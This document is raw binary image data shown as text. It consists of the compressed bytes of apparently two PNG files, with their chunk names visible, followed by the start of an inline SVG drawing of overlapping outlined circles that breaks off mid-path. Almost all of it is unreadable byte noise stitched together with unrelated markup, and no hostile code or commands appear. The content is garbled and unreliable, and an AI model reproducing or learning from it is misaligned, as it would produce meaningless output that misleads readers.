Jn)TZTQA+%hu.x	ԣMHwEDCSXw{tܣr/bԆ<gx
"䵙Tv$V*Āu}zTA0a8k=T/)Q=qJܒkDb =#%?Qrh$r3A_霚b_ iȝ)Q
2:7蕝KYH3Nme~dy[Ve%}s{́I/>pm5=~ 1`//4rw`Ox8ڪBLL![
l^XE;A="1ɼ*z
rdzm]k)hL(ïiGQ(E`2+iaBmУ*B+sHkXnk
s<[ZU|LF>s5Q+yZ,Io3|q7 1ð`;.MNܘ)uޝXgXO=>Re)n|l6*T87ԕ} I3
jZ/|}#Iz&r:=/@j̽ay
b,:u qas?
{wԍFi8*".S#R᠘}悕Ϥ/Z-W&KrA&PB2zJ{%R	w6
a;XF$8mԎ(ǞRH ʟ|>&LeR9kh^@Nx0SxB,x|)_ϐFDz88ߛ40ΥD^oʠ6KX,{Q"=dZ9ȸCYzyTGFojp~0	cΫBcs(il_~7|/on\ݘ˽UPjC-6IWpp,ğGx0isWqr{wQe.|v'8ٌm<8M+
>qЧen/\R*.=ߒx
$Gהo'xd`dKqskɤ^>X"SmrW!4ʅR|&B8!*%{VωZ tYMF7VQ*2iAU|eS^"ю0 rѦ#8<NG"x!`Ǒlf
ϴhe	N=^F5j'@'Jk1YʥJ+"?h? 梶3_~1=wo*D\:T>̳2d2d
eك~ˏ/9pY݉UYVuGΞ8r-^E!Lҕ+S\SU~=GI؄8To6"
?E',"`TvSAusJ,dm**0=Kvl0 $ 8]7AZ(v!ocF OTRpٹ*#5(1dޔ/0*o&(fO<sUOCB֘
Gh`Wbpz6*:y=V4EݘAGq4	/b#;\`
MD1ZJ*?PiR7H. /0 5ӲsWoᠷUUM:8_a,Hֽi'X|ӝoGߟҳL;en*Ien@00h8Nט'~o/Eq-+'dd)
OzS CLtj,aF!^( {0XhB2KZ@&z[Upվ 6`id
Oا(օk Ő
P@gp8B!#C<T
, rHquO*  z'ŠG@Jp GdtGɠy44e ㍇dl+
:T3LMq2n>370\D"v4}/>s-ڥ5j?_\O=y&sXd6C'.3fa#>vE#/>v2N Uutç_ر7AЫu{7}gnb)aqMqUoMCWXK  @ڞУW4h@/婐֜@(TA-L (Z̅2.;@nkp@?I,Vr09	MkaB7c<0P*呪6 =*a#aR9|F3â9R8_nEzA!% zt-U:5|~_ `*dU
`{TvGXȨ
BbAˢP[wg-5{p3aof?/o|dAw|x@_>)A碢3"R{ƥI1З|r
z StoΎ~rS~xA{Ӂk!`'0|?=2m~qsMH-H_MWUIQxm@>ײOq h76qMѣXf@̀= h }b9r-]o4	|EO%e/
΂hDۑeZW#JC'V[ l!Զ
HLR!(%G' u,I7Nԫ[$p+]`dG^I JW\,3&8ՙq=  >ɣumT^3-V
`)n~	8q0 Ob+f;0We>Px
g!<}+8|c8_80?8vrÐ)!b6_h+g~"=l06dsw5Զ]jm*)@--*3e0^[T6zh5A~a:Ńyj'+T쯠$\[da,-lm:)w{:[.l@k'.x<W	.!"xHEit*37{CoF 
_Մ"/+O;6gA/[:
2_`A|9ޑdй*@i"AdO\͇-jk{ƒ`_Sy꧟Bwj;H|x_})/@O	]@/K`S3!Yy֩uoBԑc'H?}dz:ɁcGmkϦ%zOT?A(?1~E;P/Ts8FzK$>̍tdwd%c˒<T^O=^EP7Bj8(FGa+[7'`-Wˇ Wt*M)dT!S#L.f'{_܊V9\T$ z
qzX<do)A@(CO].Z';澶>n>lWxff8~*l_)D6Tem _"O?Q7B=y$?!1alt/?h֠_c>sH\,?ox3Ql[[-}k4=}.c&?o@^S")[Qԁ)˘)k߷>3))QЏ6LM	z%Pg
mZ
{L0㌻刍<:D"b1
k5C,ƫT^@ϔJD^RsV87roEz6 WzMR8vvH6QΑ+@//d%C+w"YO9$Es;`XcmG@WCX_lC;w~	)nz}tϊ)vNt)N"ɛ@z|3F9:7@'Lt88?_f8턁Hbw㥺UI,T) uawHqЫܘoDǜ|aAÒh: ';qs02%K6myies/%V꺃bæS(V:]gJY
GÂyZLWE稬ﶓnMzpGCyC䨤P`_ADh<7=lł+8<@dk4I5|~9GK]AwF$&ಙf~{ɛ|x{緟}ln_x	?ER}{&6/gDn_5s9#}|7< 7SV:(`/f2=BݯYMyqCp}o*9v!&}3ViV[us5QO3:Srb+ǆ
mp,E7j1_bd>cO%D~n!]fBWdD#4l<ɘ^&ϛC 3ޔh,"$q>PBw:$ދʹDvdG\68@27: 8yD>뵰ޥ(>TyЖՃ!K"0>~hDQ7-7 d:-'?9ÓgT`':z!?;pjk>>pӝq$胀@g
mPH 1g<Zh:)_{6#i^\GqM}0*6R5嚇p¥>󟗬J[tyڷ4$*Yw׸*d<Ӆe"3.]6Rꠈ~O{ts#b60/iO;$ȯwAN<lj??!X +Dѧ4y\߿v]lPo
"_ܸ_@DF5DQ@? <yw7<o|jyN1'^~ٓG1}嫃|A/'x_z㏍bggp-9pK/=9
	aVA=LaAOx<k?XTFHn~s|nk7t[[[²Ef!HAoXL
#f0=|)Sh2hIo%`>F9<>?"`$٠>< =ӢΕ1+h0&z G]>p ΏjW,wC70!c5M	#@e )s O|q<X>xiGXb/&:.e0Fyn+"z!ҟd\"K	&?
ܹ~^㝏
?WUldv-KU孤nI Xjy<6a錜C((lNN^._p_'GTI|!m$
-ɠ{zTFq8!<g;:}YEqu!4793JbGǤIhDg:"(w:;SCz׹xݬyh~ʯriu
4ZD ztM=MzMl:,TS5tj>5>:JD蚹mZjOy0*HU̫n腑0I?ФR5՘ z^ΕJprXl&|4 dnAz@}29vH*nJH2tRl4uA91tъvbҁ?ߦ'·	<s%7pĿWHAOq(&beO'J -㇞X놩-1>s17/^IRX0Q^o۠['%9L/h
gS
b9z?J,C3Jd׳F9O1,r6_PɵA#y[=xn"zSL7XJzp3F5mƮ[s^i|u+&UrIJzMg;xogGHavgyC,7|XW#|;n{^TQ#;
cdu7˟LzݩNQZ҃M^xxjh+HM`v2(7&I=dPx\m	O@or~Gv^A>`4t_b`P-xC
Э+s+!yUs[x$}3x+q?/C%]%0v3ɠg# =4	hEGy- }ƒ2ӤZWX{'Fs}kӆ^?vbm{ɍg&#_=DAccaȳĂ>v:Ѓ%G4B_am+}'BT45P_nOh	|*7fί{ِkaԡ[3,"âtT5*Ϸ] `8O;$1VG
z&ԉrPK9p)Ӎe
R/J !qЃ'
lQ.>%/]*
zoW8EzV60g{z)_Ik^8r!N8v/3\K)Bx
RB%+hCnm~9?m>x>mU3GhM#%=2x		eJ:TrJކM֓AubCcG0 o㗪hZEѡ%m|f9[*%}vcMK2R&脴I=3
EUXlEˤi5`Ng106rx&w$`5xm {$CQ3@{z%#؉z} `L}~`oN9|>9vM$*0'ff稘ăʛZ1^ZG6^F`*$7QN[dX6tzTA~qG=z"@Kwr]R$䐷|J$"2@zEp&zHR?2P_U=%zm
Q^	+OHY:aR5`W<xMY/G7c>hG!`mH\5J6.UaΌU9t6'ا<Jߚ_Y9̋neS̛Mq)CǅD^e8Fh
x<:ѣ	MB1O
WE=k-jnq#m]Cf	cG9_\?niWv/{9<}0Cd^@H&M^*TS\E{mysnSSf,u|k=?'!h=|zt4쏯<am]0zAcx,3c0
_HE4I+kz <p>a$Az(ys}rCCN&sì-|fbLLg!=f!,ypF4kIgg..)[Eu0@|_{tަ]^\١H}

US^mjCGTD6!砸fXzAE}FGmOvz>z3~^ЬX+"$n<RAo`?q5ZL
̿ɇ{ WEpj%p+d?0<A?6BԀ=+@lѣyةSci%m&chm	kG>(ʹ9rT|\0P
CH!EJKJZO g,G:A+P2irfF\3c7"ac55vY~
q~w֮{*6ի
3~ܯPZ %e@U6BlHK9C2V@ߋf$Ca[JO$מޒcQM
y{Ʋ]LAF(f}fNGs,1Eѣ9Lg`=8sTllueƙ>;0>
5@,y8{_kC`P{{d*SoLyFiES^b{ej^'xYmQM(sa4?pr@8׀ ^P96Wvr;pV&V5#,&tЧ\zv@v47us=5mr
aQ
7ޮF)@X`+h@OVV]"w;͗ru@<"~mۤCprɡN+&v5	u-aF_c/.Q]zNBTvF67m8}\@^m{u/2}o_yh{YOaH+&z.~{;Dǉ'|۳~7hNUšpӔJF5XcI]`yy˜5To*G<RpL\P\	Їڡa2w
2cf3S\Zlܸc|>YR2Px~)HO Axڑq:;~IrgD#\Z(
ϧkѪ!8/f
]L_u|(T[af\7;}+0^JCƉN'YjKp~;3}@@ahZ]x[O9`.z=e_oww_;+RH7K$'@u/ǭҳ	}o{^}YWu߾;ݯ~^̬,w܉O^FO<O~º V;Aw,eIh/Zv	>
#r>agn/qзvCwϸQ``0
70?֨~)zN¾#Nbg#!RGėOn>#?@aaSf.aJwJuK-mh~4<QD>m
?r	BۏCygȣ~nH
b<o(.<Jf%2qڼjE.⹊{XөCoqD>#dv 0R(F.d͏mvw~~w&d߈BʟWrwL6;qpЧ=]\^e.)?9_P,	ryuV8;ݳ60i'/Me'Qlj~R
)WؗYI$kn}4ٯ,V8+8e#
6bN^ -x~izYFɒH\ܚy"aɎͷ >+j"Ђ|Ϭ߻{~ܟ`u+RW3߾;zȷ?wv?э?[Sth,k{_ef-u~
hߞbm_U{?toݛzSJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)R"Tr    IENDB`PNG

   
IHDR        ;w   PLTELiq}~	!;=9~~~omp$@J}yuda^___omj}{{T[p~ssslfgYN'ENE*>B@TAaEXxnO[[|||[Z[WSC.@NjQ8(@LgZYU1ris1BXEWVnqqq? wtPmIY3F0j1$<KBYoindd&4KEN]ZR+aaaYD*U=yO>heV򀀀{YیċuoKrrr߱䷹%.J񣣣𐐐[0Gм?*,uutɇyyxe^=ܬêXΦ+<jȿ՜6^2ȑϤӸؿ4G1ƽƫĄ9@tj<TNOբঙذДgάE޶_wmgƟ|wҳ<;gׇSvޝ7Mhzˑȍuԕ~7t}dFYq]ϲ濭d㕕ڷJξ^jusshsmҺX~TV{uШoB8{`NbA   GtRNS *G&3Si~;Ntfڛ?Iq횎ݴƴr*|  -IDATxLgFTm]vX(F :R'hV
2D!EeԶOIQbG9vIs@9ng1b.y>o,cx[
*TPB
*TPB
*TPB
*TPB
*TPB=LofrjQ[]m,RjeGq_xs{p9*t
i^q1oSX,׉dٷ
r"L [An
``ǍUo^ii^DkDpDF UEsz'[{i
XuZ;A
/_2;w*V|s󽉾o;ȷJN
ꪰIYml2nY k9䏒k6nn\JW<#-xwtg^-*ʛLw>Y
t0/TLcc/ 0o!|f&v1 @$` _o.! rKLt#;~1I4K,e&a<^Ax:U ܹ}m?5s;2T
9.ܼhsǫ0?ആBe?ߕ񢺺2˟cL8@ -4w||@bVa̮q"~\(<Nᒃ -KHh?Zf
W*qqX@#>nkk|dܨP(FBa4{9z?yy9:w?>w'eajLC1Rՠ/7]l,\ }ޭg`\KKKYԾTjOgI_'D1R?;*":\!`AFåJkkRVZ	ҮSz?5-6jJŢQ5C	ݷ!/C/iLC1\°>Ti-cYނq(nOܶbȴs8f3'v1P{J3QG ?߳ 8#CH
LܭWgm19MOOF5pXaVZ xjuZVt!s۠GwY1ha[ C;
1E9"ԩ bn23RCײ CYYYMM9,kێg5enTjJ¾3+0G	zJSzlr=k:Ģa;!O1>|`n'0ʞ OdJ<1_+	8N<^Sj\tC#ˊ5||,``vᘃbʳ,-݂L(Wlnؾ};)Gz;Zm2I11D˧ꜛ	ZLlO AOihquXӑ1'&vѱN`d01j,12x %V=Gz.q	.zQ#Ā`W
MitG.b96p9`u0!;$`ڵj_IG[-WLL`C3f/,vN]
WѰ%p}B㿙{H|=Nf8&I&3!`bddd, ^o0P0pOUyQ<ú,A@dThARhp!̳lg䜝QD0qHCP6reR sƍkL
0s)$i۶K `I@n\$H0S`
{J)q	,{z1vM0)OChX6o
r(r- 
zJ]KC0W((5De9}¼ a(객] X@
/ 4öRQgp­RL=Pg^i5tGEe4{J	UA< `&Z|}''b!b
bm*֡!`{]	[0
PJMZbP7@pPuU=2VʹAp>V*
s rs0`BlRP昩r D]BP4e 0WuFC]s3SKO~*)?|{Dt.1\[W1
F[Fa,xATXJV~7Y:t-jZjwux]@VnG4wX	bqcU_\\B{2x)<D8"00oT:q.'
y0SxHIhfI0j'ވ16p&5a_|g,![0>s@f#aj
{0$ozp"͏!*ퟚ/B8Yj{=t:S+6.+/ g P'U@X#O;(膓'!Wk \@c$BD8c0J4ϩwuY5hi|	
Cwt33ҊsSJ9v1@R@m2)t:<loF:mu5u:@z7Qn
49(NZv
C	Iu^KZ%{&}?Ν;odIL72'ps_xæ2͡^LMY3R]Ai8!ΎC	c7u'=#6"QfPȠR1ePJU

*L򪡡J
pp+n!8xk!1t*BVooW֛O'baj)z ;>xaCQџ~<$39H6na(m߳es*0lJC	2XP8"ݎ0I5|M\?t@ѡ@
FcYJX2$ޯlwXݐ.܂ibzEHܛ\Lˏ|H>VsKN2H&e={g×E%=q2%09M"yق'&wq` Xv#BL69BOVe0$dG2FN@$2(#dha\~2샴ctWUU5foBĔc^4d(عyNb,]tt!L9g]SBiҪdHde(Pd#'0zaB6VjRqzJn&<,C^h&8;G#x	ȀCC<+-n
_ըpB&Naoˆ&yb'.ϱה<fʀ&M6UzXz;1
zCk~!fBi*&MMM.Y,hm1u:Nowٺ'B99e4)CY7@3K/5އܭ/Ki5.S5eJ/ȃ&Fp;	I/1G2A|pWS/~Gdt&Cb
:+mô
)YuɂB;4ԋ~
*&Њv8'"nUA]Y
z#C;
Lɜ)ˍvztOn2T1*	]n\"C0n.`nϑ&S5(/IV]E}ʐ&P\hj6UBsKxnM:d6QgHdueSM#g<
RP}Tea}ze8C  ^J³\S&Z_Qe-Q=zKʳͅexө/Cc#DڃkwܼQTkF;I" **dXtfa2,`ANsft<!DJ4@.Mr!j}@:l.NiӊQ<
v{{ -slᶿ@NUߜ !hjk Wo?0F"4TP
	CGJbt	Gh`vLrF\$Cs w'P@Z*GpnCa6 )1z!pэnE?dmgh6puAU}]2#T%2jR}=v:]5ₗg'՞@D(h<Z(9љnqǂP^'
4Ik5}@@i00<nv@.{mĝ\]2\ʔa$1NUROrjSXc ~oR+8A X^ijE@&67Ը\OAl~Gqt;GIOA2^
/J׮]HA'qiX99!2 +5g/#Ύk42]]}t*%ö7eowՆg̥F4B: 2@r;a6(IӉ\U9PΔAY9OFLո,S]3s11d&%MHR3>̎
^)QGWO4DcP.ʐ֖eS(! X6	 BtNoYN 2lW
J+4ѪpAH2 2ڪjzIk.tW"fN^<QPfc	ޫgp0"o-ȲI 9J4oS[Š\ɰxV'raAZZ Rw
IqZ
ҧ 9z#ҐDs`2h~Q
9Tʅ.28zziK`5lI:j1.&$"֦ocAUv YY@P.+@@:zC(C~⋿~խ[$Cr<t0굱Ȱh%^2e_	gJ.vȅT??&εf!#(iB$䐲DQ <J@嫗@,FGF¯8~mF?,<XP?"
!&۞.sΐ7ק,B%
ڀWߔ{N+d$4֬g߉_!DUTx>90A
	E'J.C9p@f$@Yt+7ީ۷%
lCIa췪x_2ypkJ&&̨nNt "-qҜńi-3/KYw~DCc⾛wABVDU(VǢ ¢[<0<y@7(!/{w~i#k o0dSVG\䢗Ulcc-ŘFHd[F\E)<DM4<NV"+Co>BP(
BP(
BP(
BP(
BP(
BP(VvzmоOnt4eeܪT.v>/3^0pklsglH'/VuP{9m??yjv۬AZV,֏E} 镽3c3Y;eUl'nhY/,_X -xe؅DP71'ݝϻeD	NE6j6u:b kg Y°nbϫf~O]zNrYggl2.;Se]`ٗPkinm <LI_nׯ+Ȓi|h<k?0
IfTuW;ˠ]FED
gKZ?I@|>_q,[M,k԰}\ܳ3n%{Gs^lC0%4잽jayAi~$&Rc=1,+wo\o,ntfuT	ɐP͆J:z!8ql۲vZ7vuWH"_ީ\HdNiҨpXؐ.1GƌM/7
Ca~I=[sg~eʞi+
ćbڶʀ]'E\kZ
TaE2(;EIޮ(CTQc6C~M%ղri{Ue658),2:HbkU\X.Qi34tsn^S;3-kj4&;*Z26T|@S! hNZSj肕-S8"܆GF29LXED7yo	Ήmس!/}Wq`J:)^
YNlxYiگxY"S{'eП\f#~,ȅ
ޡJ2t,<UvQU^Y1*~-$W$2`pd=h.lNIM>n㢇: t[=0+dx_J`WBy7]Xσ6exHǏ^ε7W@$Iu&ߍ4!ϓ_J YNa2TtOmia^Va*VƫZwZI32'
2lgbAAFvdS(QrcYc=Ԕ%5+v+dgߪI0 aciBxT5M.}1
{'9jqH~͕1|fOx|JUYj$`Ag)?9YGXy8$õ|/P3YU& 28}0qC%A['g@ dX|D
8 J5%%ᮝUv
5``Eެv%8#<삆R24el+Q4b	Ir")N	ע_}_+udǂ<!GI5prw22 gO?.lI؞|-7'7ge2H`,/[2#2D@4f̣r)0\C)eW;Ff3q-fh292P|GXcxTE#ͳ']0aFdGf
1#IBfN$݁A&"
\ʒB:lgXũD2Mnw|kpB=^^PI/c[dwd(2"*eŲyh0,9Ck  Jy4la| jJnF^_]~|x$PB"$XFy
6:T$-w6£K!Ozp 6*/cfo[Gks
$<M
}?LmeX0Z'sBCId)&KBdOF2.lX,;
F#|VuF Nc۩ps8l4aO$24K3 a4.B_.Cw۰DrQS:5%2E
=0A`Ek-J89đ(grN'V+tZ"(Yzev˶|.
ɖp bxy	hlhH'Ȗǉ:TIY(Jbj,2
ueOLݼ8BY5՝\r/O:X'˰(&$$4oϿS˝ƫbE!huёxQwł*DNg]^9իgY&Gj$ĖB<&
{i
SH,&%lOkJA0h*jL6*khID@P..~{ u!ܲ.;F2݋FD.0o6S4*8p'44_T370.1dpu. ;:@ 	g&3D\hh|X$.,$@A+t!kȷl6H kUe$5
ûVnhXה֔ۓT,s	&R@m-e\<0о3].nDD^..OuK4/ eqI+
d\sN^IH*V/rgCln
XC,h|lQyeC(ARF1Ima{Bu(i*0M$)(ֳIa[R9)p@o-LTy|qȂAfRTŶ>3*i*&:$2ãϗgA(>ǚkȐָQ9&8d#W9"GX3U;[O0MIŮ᏶5d\@dKuޯn 	6|˗Wa5$%a6$*"Q(zb{a;uliHZHǀ{E$2^gP(NmBt^ɤ%MSjQ+'cȼ[ MMpLlbOLX`g/[[naXB1qeFF#3c}lOFhxƕ-Z>x! x80 bYNWpZHP`Fw;4kJ*P>0v#VetX0п,`k$Y	tF4JT,IBCOFlaHdR 7{
́ˤoK1Hf>7/d L#zvۙNN}~bąkk΢$MY:0ؠ(UP@3UF` 2j
Ç֔=X`00A7JU&Un)yVjz_dzG`8F8"i&I`s̑@Ԉ<Q<~8E/2R@7ܚL{c]Ԯ,})nբF"+ϕ
0-Vu?#ᇭeƆ	ώ,Y<LtreUqSU 
jp@AH}S`TÑ(O{yȰK@ KI.m3t<դ#2%=iq@GLꗎ4UTa΄!kA8&EAQ|v'<iw9kKuA:фn{wV=H\0.sO5$LhDnA]c@+zR

.*VHzpYZYu\+INIE7z$z=ZEtSn'WlTw,Hڅq!q쯠]`g\뚆_gs~}'2`LjztV &q#Z0)BOɠGWȥJ=f}8m5
X8waE]6t<f3Zi5Qx<0SP-2utds$|iIH>5)nb{N9so`0=ݬX``8hߗe~"v{z04{BQM =t\{ɤ+0!"K.H@$k1ahtm
=Y K0XQCs3N	rp ^yΛzNIj}34nmt pLx㻋$;4m9bFw{RzwC}ԛN~n^+"ZUTɪmEhKRD^-M3X04:,^Ѱ/D9Na=f 꺴ZJX04z$
Bt"fWf/ˍ&U迴
CHM12٧| _b̴
+3'{r
L曯Jca0G+L/UNT$?MS }3MOMPP</dđQOǜQ'-*s06D/Uz?^e0J8ڿ1Wt{=yJΌ. e٘ʠM,O;Uiݸ@@aKebXLECTN>:Sd,^͓r}~`2)dȠtNbJ[^atݰ; ñ	z}7쌻by/^1y!_שdtbˀ\՟=,7
kMy*ms$2(B%NH7*(Dv3^fZLEpŁ@ӫlYx\}Lm%vFW;I\
ƌ34zrY܌l%<R,bF#ÎKWaWRS};3,\$`zxI!~?}?OTrJ?ݎN͝L"ƌ=M
2(48Nզ1K4upQp7[=6nAјyPE~t622aJcĐ(~lw*^&Ew.iqu[vfi*E4㠕RIi
=nR6]Ool/^ؙu{28Q_ Vy%ɐ	0$_5uIq*x[E}R1#WŢfYPُ<jXG,&!jȓѝE!+D_D\2D2]|Ȼ2t
+lͩÞ~NLG^WCwײ2.$_}E2p!SV5*"6a>eC?Β20V9 ArVcCO2<e+{<vxSe<f!_R퉖^;_@FoM `Jvg:̘r/遙82UtNE%gO.3(C"j2E(ʮoMLy_vR03wߺkxK>꺎QDMu=UL^X$LFGNǖ}o B$uS[Mq]9¶iBÕ=#ɰKbLAe-<lx#Et-<ql[b4Á;T=EeSZ7_vscǗk#G-(zFX,n4.3(~ܱa4m]~6#!S٭b1;99z;ҿ_AdMxwD=                                     )
'A~    IENDB`<svg width="181" height="180" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><g clip-path="url(#a)" stroke-width="1.2" stroke-miterlimit="10"><path d="M98.433 106.656c0-26.396-21.4-47.796-47.796-47.796-26.397 0-47.225 20.828-47.786 46.737a89.029 89.029 0 0 0 14.708 35.561c8.586 8.235 20.239 13.295 33.078 13.295 26.396 0 47.796-21.4 47.796-47.797Z" fill="#fff" stroke="#D8DEF8"/><path d="M102.871 120.491c0-26.396-21.4-47.796-47.796-47.796-26.397 0-47.8 21.396-47.8 47.796 0 .418.007.835.017 1.249 7.337 19.33 21.176 35.46 38.853 45.713a48.01 48.01 0 0 0 8.93.835c26.396 0 47.796-21.4 47.796-47.797Z" fill="#fff" stroke="#D8DEF8"/><path d="M109.886 132.94c0-26.396-21.4-47.796-47.797-47.796-26.396 0-47.8 21.4-47.8 47.796 0 1.141.042 2.274.123 3.393 13.382 22.06 36.028 37.874 62.544 42.042 19.119-6.252 32.933-24.231 32.933-45.438l-.003.003Z" fill="#fff" stroke="#D8DEF8"/><path d="M119.153 143.691c0-26.396-21.4-47.796-47.797-47.796-26.396 0-47.796 21.4-47.796 47.796 0 1.86.108 3.691.315 5.495 16.393 18.572 40.376 30.288 67.095 30.288 4.46 0 8.846-.33 13.13-.962 9.267-8.719 15.056-21.091 15.056-34.821h-.003Z" fill="#fff" stroke="#D8DEF8"/><path d="M82.56 104.628c-26.397 0-47.797 21.4-47.797 47.797 0 2.617.214 5.182.617 7.687 15.267 12.12 34.58 19.362 55.586 19.362 12.442 0 24.291-2.541 35.056-7.13a47.615 47.615 0 0 0 4.337-19.916c0-26.396-21.4-47.796-47.796-47.796l-.004-.004Z" fill="#fff" stroke="#D8DEF8"/><path d="M95.387 111.028c-26.396 0-47.796 21.4-47.796 47.797 0 3.438.365 6.789 1.056 10.024 12.6 6.779 27.01 10.625 42.32 10.625 19.417 0 37.389-6.19 52.055-16.698.106-1.302.165-2.622.165-3.951 0-26.397-21.4-47.797-47.796-47.797h-.004Z" fill="#fff" stroke="#D8DEF8"/><path d="M109.517 114.776c-26.396 0-47.796 21.4-47.796 47.796 0 4.347.586 8.561 1.673 12.565a89.435 89.435 0 0 0 27.572 4.337c25.625 0 48.73-10.776 65.042-28.039-5.017-21.024-23.926-36.659-46.491-36.659Z" fill="#fff" stroke="#D8DEF8"/><path d="M124.588 115.554c-26.397 0-47.797 21.4-47.797 47.797a47.79 47.79 0 0 0 2.523 15.368c3.814.495 7.702.755 11.649.755 31.288 0 58.817-16.063 74.81-40.386-8.315-14.084-23.645-23.534-41.185-23.534Z" fill="#fff" stroke="#D8DEF8"/><path d="M172.556 126.768c-8.607-8.364-20.355-13.519-33.305-13.519-26.397 0-47.797 21.4-47.797 47.797 0 6.491 1.298 12.68 3.642 18.326 34.537-1.568 63.972-22.716 77.463-52.607l-.003.003Z" fill="#fff" stroke="#D8DEF8"/><path d="M104.973 155.937c0 7.73 1.835 15.028 5.095 21.488 32.186-7 57.909-31.316 66.912-62.706a47.573 47.573 0 0 0-24.207-6.579c-26.396 0-47.796 21.4-47.796 47.797h-.004Z" fill="#fff" stroke="#D8DEF8"/><path d="M117.029 148.33a47.586 47.586 0 0 0 6.958 24.849c29.253-11.625 50.916-38.228 55.53-70.344a47.714 47.714 0 0 0-14.691-2.305c-26.397 0-47.797 21.4-47.797 47.796v.004Z" fill="#fff" stroke="#D8DEF8"/><path d="M127.303 138.547a47.598 47.598 0 0 0 9.344 28.393c25.937-15.435 43.404-43.607 43.776-75.894a48.471 48.471 0 0 0-5.323-.299c-26.397 0-47.797 21.4-47.797 47.797v.003Z" fill="#fff" stroke="#D8DEF8"/><path d="M135.485 126.909c0 12.368 4.699 23.638 12.404 32.126 19.877-16.41 32.547-41.242 32.547-69.031 0-3.642-.224-7.236-.645-10.762-24.769 1.79-44.309 22.446-44.309 47.67l.003-.003Z" fill="#fff" stroke="#D8DEF8"/><path d="M177.538 67.326c-20.838 5.151-36.288 23.972-36.288 46.4 0 14.351 6.327 27.225 16.344 35.986C171.798 133.874 180.44 112.947 180.44 90a89.629 89.629 0 0 0-2.902-22.674Z" fill="#fff" stroke="#D8DEF8"/><path d="M173.454 55.288c-17.144 7.263-29.168 24.242-29.168 44.031 0 16.649 8.515 31.309 21.424 39.867 9.305-14.112 14.727-31.014 14.727-49.186 0-12.309-2.488-24.039-6.986-34.712h.003Z" fill="#fff" stroke="#D8DEF8"/><path d="M167.303 43.309c-13.8 8.382-23.017 23.554-23.017 40.88 0 19.285 11.421 35.899 27.866 43.453 5.316-11.442 8.288-24.196 8.288-37.645 0-17.113-4.807-33.099-13.137-46.692v.004Z" fill="#fff" stroke="#D8DEF8"/><path d="M159.363 32.323c-11.035 8.754-18.113 22.28-18.113 37.46 0 22.094 14.997 40.687 35.362 46.161A89.489 89.489 0 0 0 180.436 90c0-21.979-7.929-42.102-21.077-57.677h.004Z" fill="#fff" stroke="#D8DEF8"/><path d="M135.485 56.6c0 25.06 19.285 45.611 43.821 47.632A90.123 90.123 0 0 0 180.436 90c0-26.916-11.884-51.053-30.691-67.453-8.803 8.67-14.263 20.723-14.263 34.053h.003Z" fill="#fff" stroke="#D8DEF8"/><path d="M175.103 92.758c1.793 0 3.562-.102 5.302-.295.021-.817.035-1.638.035-2.463 0-31.94-16.74-59.965-41.919-75.796a47.598 47.598 0 0 0-11.214 30.758c0 26.396 21.4 47.796 47.796 47.796Z" fill="#fff" stroke="#D8DEF8"/><path d="M164.826 82.975c5.281 0 10.365-.86 15.112-2.442-3.463-32.94-24.796-60.558-54.133-72.972a47.576 47.576 0 0 0-8.779 27.614c0 26.397 21.4 47.797 47.796 47.797l.004.003Z" fill="#fff" stroke="#D8DEF8"/><path d="M152.77 75.368a47.576 47.576 0 0 0 25.014-7.063c-8.039-32.273-33.6-57.614-66-65.336a47.585 47.585 0 0 0-6.814 24.603c0 26.396 21.4 47.796 47.796 47.796h.004Z" fill="#fff" stroke="#D8DEF8"/><path d="M139.251 70.256c13.491 0 25.673-5.59 34.361-14.579C160.847 24.965 131.461 2.905 96.675.712c-3.34 6.523-5.22 13.916-5.22 21.748 0 26.396 21.399 47.796 47.796 47.796Z" fill="#fff" stroke="#D8DEF8"/><path d="M90.966.526c-3.46 0-6.87.204-10.228.586a47.646 47.646 0 0 0-3.947 19.046c0 26.396 21.4 47.796 47.797 47.796 18.308 0 34.207-10.294 42.235-25.407C151.005 17.31 122.949.527 90.966.527Z" fill="#fff" stroke="#D8DEF8"/><path d="M90.966.526a89.533 89.533 0 0 0-26.333 3.94 47.702 47.702 0 0 0-2.912 16.47c0 26.397 21.4 47.797 47.796 47.797 23.579 0 43.169-17.073 47.084-39.533C140.258 11.57 116.903.526 90.966.526Z" fill="#fff" stroke="#C5CDF4"/><path d="M49.7 10.597a47.784 47.784 0 0 0-2.113 14.087c0 26.397 21.4 47.797 47.797 47.797 26.396 0 47.796-21.4 47.796-47.797 0-2.656-.221-5.26-.635-7.796C127.97 6.583 110.177.526 90.966.526c-14.884 0-28.915 3.639-41.263 10.07H49.7Z" fill="#fff" stroke="#9EAAEE"/><path d="M36.25 19.207a47.825 47.825 0 0 0-1.487 11.874c0 26.396 21.4 47.796 47.796 47.796 26.397 0 47.797-21.4 47.797-47.796 0-8.909-2.442-17.25-6.685-24.39C113.542 2.712 102.51.526 90.966.526c-20.61 0-39.59 6.972-54.716 18.681Z" fill="#fff" stroke="#8C9AEC"/><path d="M24.56 30.039a48.022 48.022 0 0 0-1.004 9.779c0 26.396 21.4 47.796 47.796 47.796 26.397 0 47.797-21.4 47.797-47.796 0-16.05-7.909-30.25-20.043-38.92a90.564 90.564 0 0 0-8.143-.372c-26.344 0-50.032 11.39-66.404 29.513Z" fill="#fff" stroke="#7789E9"/><path d="M62.086 98.365c26.396 0 47.796-21.4 47.796-47.797 0-24.07-17.793-43.982-40.944-47.305C46.215 9.014 26.96 23.463 14.91 42.86a48.116 48.116 0 0 0-.62 7.708c0 26.397 21.4 47.797 47.796 47.797Z" fill="#fff" stroke="#3858E9"/><path d="M102.871 63.018c0-26.397-21.4-47.797-47.796-47.797a47.668 47.668 0 0 0-18.432 3.684c-12.901 9.87-23.035 23.172-29.042 38.54a48.69 48.69 0 0 0-.326 5.573c0 26.396 21.4 47.796 47.796 47.796 26.397 0 47.797-21.4 47.797-47.796h.003Z" fill="#fff" stroke="#3858E9"/><path d="M98.433 76.853c0-26.397-21.4-47.797-47.797-47.797-16.89 0-31.736 8.762-40.238 21.99a88.832 88.832 0 0 0-7.474 22.933c-.056.95-.088 1.909-.088 2.877 0 26.397 21.4 47.797 47.797 47.797 26.396 0 47.796-21.4 47.796-47.797l.004-.003Z" fill="#fff" stroke="#3858E9"/><path d="M49.082 139.551c26.397 0 47.797-21.399 47.797-47.796 0-26.398-21.4-47.797-47.797-47.797S1.286 65.358 1.286 91.754c0 26.398 21.399 47.797 47.796 47.797Z" fill="#fff" stroke="#3858E9"/><path d="M49.037 139.712c26.397 0 47.796-21.399 47.796-47.796S75.434 44.119 49.037 44.119 1.24 